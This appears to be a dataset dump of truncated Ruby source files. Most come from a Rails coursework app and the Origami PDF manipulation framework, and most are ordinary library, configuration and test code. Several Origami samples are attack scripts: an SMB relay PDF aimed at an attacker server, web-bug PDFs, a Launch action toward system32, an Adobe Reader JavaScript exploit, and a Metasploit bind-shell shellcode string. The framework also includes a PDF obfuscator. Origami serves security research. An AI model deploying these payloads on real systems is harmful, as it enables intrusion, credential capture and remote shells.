code
stringlengths
1
1.73M
language
stringclasses
1 value
class MoviesController < ApplicationController def show id = params[:id] # retrieve movie ID from URI route @movie = Movie.find(id) # look up movie by unique ID # will render app/views/movies/show.<extension> by default end def index sort = params[:sort] || session[:sort] case sort when ...
Ruby
class ApplicationController < ActionController::Base protect_from_forgery end
Ruby
module MoviesHelper # Checks if a number is odd: def oddness(count) count.odd? ? "odd" : "even" end end
Ruby
module ApplicationHelper end
Ruby
class Movie < ActiveRecord::Base def self.all_ratings %w(G PG PG-13 NC-17 R) end end
Ruby
require 'rubygems' # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
Ruby
Rottenpotatoes::Application.routes.draw do # The priority is based upon order of creation: # first created -> highest priority. # Sample of regular route: # match 'products/:id' => 'catalog#view' # Keep in mind you can assign values other than :controller and :action # Sample of named route: # match...
Ruby
# Be sure to restart your server when you modify this file. # Add new inflection rules using the following format # (all these examples are active by default): # ActiveSupport::Inflector.inflections do |inflect| # inflect.plural /^(ox)$/i, '\1en' # inflect.singular /^(ox)en/i, '\1' # inflect.irregular 'person', ...
Ruby
# Be sure to restart your server when you modify this file. Rottenpotatoes::Application.config.session_store :cookie_store, key: '_rottenpotatoes_session' # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information # (create the session table...
Ruby
# Be sure to restart your server when you modify this file. # # This file contains settings for ActionController::ParamsWrapper which # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. ActiveSupport.on_load(:action_controller) do wrap_parameters ...
Ruby
# Be sure to restart your server when you modify this file. # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } # You can also remove all the silencers if you're trying to debug a probl...
Ruby
# Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attac...
Ruby
# Be sure to restart your server when you modify this file. # Add new mime types for use in respond_to blocks: # Mime::Type.register "text/richtext", :rtf # Mime::Type.register_alias "text/html", :iphone
Ruby
# Load the rails application require File.expand_path('../application', __FILE__) # Initialize the rails application Rottenpotatoes::Application.initialize!
Ruby
Rottenpotatoes::Application.configure do # Settings specified here will take precedence over those in config/application.rb # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart th...
Ruby
Rottenpotatoes::Application.configure do # Settings specified here will take precedence over those in config/application.rb # Code is not reloaded between requests config.cache_classes = true # Full error reports are disabled and caching is turned on config.consider_all_requests_local = false config...
Ruby
Rottenpotatoes::Application.configure do # Settings specified here will take precedence over those in config/application.rb # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for th...
Ruby
require File.expand_path('../boot', __FILE__) # Pick the frameworks you want: require "active_record/railtie" require "action_controller/railtie" require "action_mailer/railtie" require "active_resource/railtie" require "sprockets/railtie" # require "rails/test_unit/railtie" if defined?(Bundler) # If you precompile...
Ruby
#!/usr/bin/env rake # Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. require File.expand_path('../config/application', __FILE__) Rottenpotatoes::Application.load_tasks
Ruby
#!/usr/bin/env rake # Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. require File.expand_path('../config/application', __FILE__) Rottenpotatoes::Application.load_tasks
Ruby
# This file is used by Rack-based servers to start the application. require ::File.expand_path('../config/environment', __FILE__) run Rottenpotatoes::Application
Ruby
require 'clickable_error_messages'
Ruby
require 'rake' require 'rake/testtask' require 'rake/rdoctask' desc 'Default: run unit tests.' task :default => :test desc 'Test the clickable_error_messages plugin.' Rake::TestTask.new(:test) do |t| t.libs << 'lib' t.pattern = 'test/**/*_test.rb' t.verbose = true end desc 'Generate documentation for the click...
Ruby
# Uninstall hook code here
Ruby
# Install hook code here
Ruby
# Notice, put back a few revisions until the problems are fixed. module ActiveRecord class Errors def full_messages full_messages = [] @errors.each_key do |attr| @errors[attr].each do |msg| next if msg.nil? if attr == "base" full_messages << msg else...
Ruby
#!/usr/bin/env ruby # # Pull out the list of options from jslint.js. # PREDEFINED_OPTS = { # Hard code, as not mentioned in the source list. 'predef' => ['The names of predefined global variables', 'StringArray'], # This is specific to jslint4java. 'warnings' => ['Unused', 'Boolean'], } opts = PREDEFINED_OPTS...
Ruby
require 'fileutils' require 'base64' require 'time' require 'logger' require 'rexml/document' require 'converter_ruleset' include REXML include ConverterRuleset class Z2TConverter attr_accessor :output, :ttxml_type attr_accessor :migrational attr_accessor :blog_name, :blog_title, :blog_description attr_acces...
Ruby
require 'z2t_converter' TT_VERSION = "0.5" files = ['test/zbxe.xml'] converter = Z2TConverter.new(files) converter.output = File.new("output.xml", "w+") converter.convert do |i| puts i end
Ruby
# Converting rules. include REXML module ConverterRuleset class Ignore def execute(post, e) return e end end class Rename def initialize(name, &callback) @name = name @callback = callback end def execute(post, e) e.name = @name e.text = @callback.call(e.text) unless @callback.nil? ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" params = Action::Launch::WindowsLaunchParams.new params.F = "C:\\\\WINDOWS\\\\system32\\\...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) pages = pdf.pages pages.each do |page| page.onOpen Action::Named::NE...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) index = 1 pages = pdf.pages pages.each do |page| page.onOpen Action::...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami # # SMB relay attack. # Uses a GoToR action to open a shared network directory. # ATTACKER_SERVER = "localhost" pdf = PDF.read(ARGV[0]) dst ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new conte...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new conte...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-js.pdf" JSCRIPTFILE = "submitform.js" puts "Now generating a new PDF file from scratch!" contents = ContentStream.new.se...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-reader.pdf" URL = "http://localhost/webbug-reader.php" puts "Now generating a new bugged PDF file from scratch!" pdf = ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-browser.pdf" puts "Now generating a new bugged PDF file from scratch!" URL = "http://localhost/webbug-browser.html" pdf...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux //###########...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com win32_bin = "%u03eb%ueb59%ue805...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: /...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creates an encrypted document with...
Ruby
#!/usr/bin/ruby require 'openssl' begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" CERTFILE = "test.crt" RSAKEYFILE = "test.key" contents = ContentStream.ne...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "helloworld.swf" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creat...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami if defined?(PDF::JavaScript::Engine) INPUTFILE = "attached.txt" # Creating a new file pdf = PDF.new # Embedding the file into the P...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "attached.txt" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creatin...
Ruby
require 'test/unit' require 'stringio' class TC_PdfAttach < Test::Unit::TestCase def setup @target = PDF.new @attachment = "test/dataset/test.dummycrt" @output = StringIO.new end # def teardown # end def test_attachfile assert_nothing_raised do fspec = @target.at...
Ruby
require 'test/unit' require 'stringio' class TC_PdfSig < Test::Unit::TestCase def setup @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) @output = StringIO.new @cert = OpenSSL::X509::Certificate.new(File.read("test/dataset/test.dummycr...
Ruby
require 'test/unit' require 'stringio' class TC_Pages < Test::Unit::TestCase def setup @target = PDF.new @output = StringIO.new end # def teardown # end def test_appendpage p1, p2, p3 = Page.new, Page.new, Page.new assert_nothing_raised do @target.append_page p1...
Ruby
begin require 'test/unit/testsuite' rescue LoadError abort "Error: you need to install test-unit" end require 'tc_pdfparse.rb' require 'tc_streams.rb' require 'tc_pdfencrypt.rb' require 'tc_pdfsig.rb' require 'tc_pdfattach.rb' require 'tc_pages.rb' require 'tc_actions.rb' require 'tc_annotations.rb' require 'tc_pd...
Ruby
require 'test/unit' require 'stringio' class TC_Annotations< Test::Unit::TestCase def setup @target = PDF.new @page = Page.new @action = Action::JavaScript["app.alert(null);"] @output = StringIO.new end # def teardown # end def test_annotations circle = Anno...
Ruby
require 'test/unit' class TC_PdfParse < Test::Unit::TestCase def setup @data = %w{ test/dataset/empty.pdf test/dataset/calc.pdf test/dataset/crypto.pdf } @dict = StringScanner.new "<</N 2 0 R/x1 null/Pi 3.14 /a <<>>>>" @bytestring = StringSca...
Ruby
require 'test/unit' require 'stringio' class TC_PdfNew < Test::Unit::TestCase def setup @output = StringIO.new end # def teardown # end def test_pdf_struct pdf = PDF.new null = Null.new assert_nothing_raised do pdf << null end assert_nothing_raise...
Ruby
require 'test/unit' class TC_Actions < Test::Unit::TestCase def setup @target = PDF.new @page = Page.new @action = Action::JavaScript "app.alert(null);" end # def teardown # end def test_pdf_actions @target.onDocumentOpen @action @target.onDocumentClose @action ...
Ruby
require 'test/unit' require 'stringio' class TC_Streams < Test::Unit::TestCase def setup @target = PDF.new @output = StringIO.new @data = "0123456789" * 1024 end # def teardown # end def test_predictors stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_...
Ruby
require 'test/unit' require 'stringio' class TC_PdfEncrypt < Test::Unit::TestCase def setup @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) @output = StringIO.new end # def teardown # end def test_encrypt_rc4_40b @outpu...
Ruby
=begin = File widgets.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License...
Ruby
=begin = File xdp.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as ...
Ruby
=begin = File patterns.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
# encoding: UTF-8 require 'rubygems' require 'rdoc/task' require 'rake/testtask' require 'rubygems/package_task' spec = Gem::Specification.new do |s| s.name = "origami" s.version = "1.2.7" s.author = "Guillaume Delugre" s.email = "guillaume at security-labs dot org" s.homepage = "http://...
Ruby
=begin = File font.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File boolean.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public ...
Ruby
=begin = File catalog.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public ...
Ruby
=begin = File pdf.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licen...
Ruby
=begin = File destinations.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pu...
Ruby
=begin = File string.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Li...
Ruby
=begin = File parser.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Li...
Ruby
=begin = File functions.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Publi...
Ruby
=begin = File acroform.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public...
Ruby
module Origami module Obfuscator WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ] OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ] MAX_INT = 0xFFFFFFFF PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a FILTERS = [ :FlateD...
Ruby
=begin = File javascript.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pu...
Ruby
=begin = File 3d.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licen...
Ruby
=begin = File export.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File xfa.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lice...
Ruby
=begin = File filters/flate.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File filters/runlength.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser Gener...
Ruby
=begin = File filters/lzw.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
=begin = File filters/ascii.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File filters/dct.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
=begin = File filters/crypt.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File filters/ccitt.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File filters/predictors.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser Gene...
Ruby
=begin = File filters/jbig2.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File filters/jpx.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
=begin = File array.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Li...
Ruby
=begin = File annotations.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
=begin = File name.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File graphics.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public...
Ruby
=begin = File xreftable.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public...
Ruby
=begin = File page.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lice...
Ruby
=begin = File linearization.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File null.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File dictionary.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Publi...
Ruby
=begin = File trailer.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File actions.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Publi...
Ruby
=begin = File outline.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public ...
Ruby
=begin = File header.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File signature.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public...
Ruby
=begin = File object.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Li...
Ruby